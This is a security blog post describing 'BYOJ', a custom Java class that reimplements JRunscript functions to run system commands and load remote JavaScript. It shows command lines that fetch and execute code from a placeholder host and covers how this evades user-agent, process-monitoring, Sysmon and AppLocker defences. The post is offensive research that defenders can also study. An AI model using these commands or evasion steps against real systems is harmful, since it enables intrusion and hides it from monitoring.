Wednesday, August 15, 2018

BYOJ: Bring Your Own JRunscript

In a follow-up to one of my previous posts titled "Code Execution with JDK Scripting Tools & Nashorn Javascript Engine", I wanted to try and figure out if there was a way to utilize the great functionality of JRunscript, without it actually being present on a machine. I also wanted to see if I could evade the defensive security controls that I recommended by using my own version of JRunscript. This is when I thought of the concept of "BYOJ", or "Bring Your Own JRunscript". This could be utilized in a case when Java 8 and up is installed on a machine, but JRunscript is not, whether it was removed or because the JDK was not installed. Another example where this could be utilized is when JRunscript is installed on a machine, but you are worried about security controls that could detect its usage, such as the easily detectable user-agent string that it uses for remotely fetching files.

This blog post will cover how you can build your own JRunscript, which can be used on a desired machine. It will also cover some evasion methods you can utilize in your own JRunscript, which will evade some of the recommended defensive security controls that I outlined in one of my previous blog posts. I created a Proof of Concept (PoC) of BYOJ that is highlighted in this post, which I have linked below.


Advantages of BYOJ:
  • Ability to customize user-agent string, which is useful in evading user-agent based detection for Nashorn Javascript functions that remotely fetch files (e.g., cat, cp, load).
  • Ability to interact with Nashorn Javascript Engine when JRunscript is not present.
  • Ability to evade process monitoring and full command-line logging rules that look for "jrunscript.exe" process running or being created.
  • Multi-platform compatibility (Windows, macOS, Linux) since it can be ran in Java Virtual Machine (JVM).
Disadvantages of BYOJ:
  • Requires dropping compiled BYOJ file to disk.

Invoking Nashorn Javascript Engine from Java

You can invoke the Nashorn Javascript Engine from Java as seen in the example below. This example was modified from here. A ScriptEngineManager object is first initialized. This object is then utilized to initialize a ScriptEngine object, which accesses the Nashorn Javascript Engine. It then runs the Nashorn Javascript "print" function to display "TEST" to the screen.

Get Source Code of Nashorn Javascript Functions

Now that we know we can invoke the Nashorn Javascript Engine from Java, the next step is to implement the Nashorn Javascript functions that we need in Java code. From an offensive perspective, the tasks that are most important to me are being able to download files, run system commands and execute interpreted code locally or remotely. As such, these are the functions that I focused on when writing the BYOJ PoC. You can obviously implement whatever functions you need for your use case. The functions that perform the actions I was interested in are cp, cat, load and exec. While in the JRunscript interactive shell, you can type a function to get the source code, as seen below. Perform this for each of the functions that need to be implemented. 
Exec Function
The Nashorn Javascript code will need to be converted to Java for BYOJ. If a function is a native Nashorn Javascript function, then it will indicate that it is native code and not display the code to the screen. An example of this is the load function as seen below, which is a native function. For these native functions, you will not need to convert them to Java.
Load Function

Convert Nashorn Javascript Code to Java

Converting the Nashorn Javascript code to Java is relatively straight forward. You can of course make the function custom in your own way, as you will see that I did in my PoC with the cat, cp and load functions in specifying a custom user-agent string. To show a function that was pretty much a one for one conversion, I have shown the exec function below. 
Snippet of BYOJ PoC - Exec Function

If a function was shown as being native (e.g., load), then you can call the function directly using the eval method available in the ScriptEngine object.

Snippet of BYOJ PoC - Calling Native Load Function

Putting It All Together

After you have implemented all of your functions, you can put some logic in your Main function, along with any applicable switches in order to make it user friendly. The only switch I was focused on was the "-e" switch, which is the switch utilized in JRunscript to call the various functions. You could of course customize this to be anything. You can compile your code, and transfer the .class file to the desired machine(s) to be ran directly with the java executable. There is no need to export it as a JAR to be ran. 

You can compile the file using javac on your development machine like below. Ensure this is a machine with Java 8 or higher, as the Nashorn Javascript Engine was not featured before that.


This will create a "BYOJ.class" file. You can transfer it to the desired machine(s) and invoke it like below as an example using the "exec" function. Note that you do not need to specify the ".class" extension.

java BYOJ -e "exec('whoami')"

Some examples of other supported functions and usage in the BYOJ PoC are shown below.

java BYOJ -e "load('http://x.x.x.x/blah.js')"
java BYOJ -e "cat('http://x.x.x.x/blah.js')"
java BYOJ -e "cp('http://x.x.x.x/blah.js','C:\\Temp\\something.txt')"

Defensive Control Evasion Using BYOJ

While utilizing BYOJ, you can evade a number of the defensive security controls that I outlined in my previous post on this topic.

User-Agent String Detection

Below you will see an example of using BYOJ to download a file with a custom user-agent string. The user-agent string specified represents IE 11 for Windows 8.1 in order to blend in with normal traffic. One thing to note is that when using the native load function, even when you specify a custom user-agent, it will append the "Java/<version>" string. 
Downloading File w/ BYOJ

Apache Log Entry - Downloading File w/ BYOJ

Process Monitoring Detection

For process monitoring rules that are in place to look for "jrunscript.exe" running, BYOJ can evade that, since "jrunscript.exe" is not running.
Process Monitoring - BYOJ Running

Full Command-Line Detection

If Sysmon is running, and the event logs are being sent to a SIEM for processing with alerts built for "jrunscript.exe" process create events, BYOJ will evade that since the "jrunscript.exe" process is not being created. In this case, the "java.exe" process is being created and is executing the compiled BYOJ class file.
Event Log from Sysmon - BYOJ Process Creation

Application Whitelisting

BYOJ is executed via the "java.exe" executable, which is a signed Oracle binary that resides in %PROGRAMFILES% or %PROGRAMFILES(x86)% in a default installation. As such, this will still evade the default AppLocker executable rules that are listed at the below link.


No comments:

Post a Comment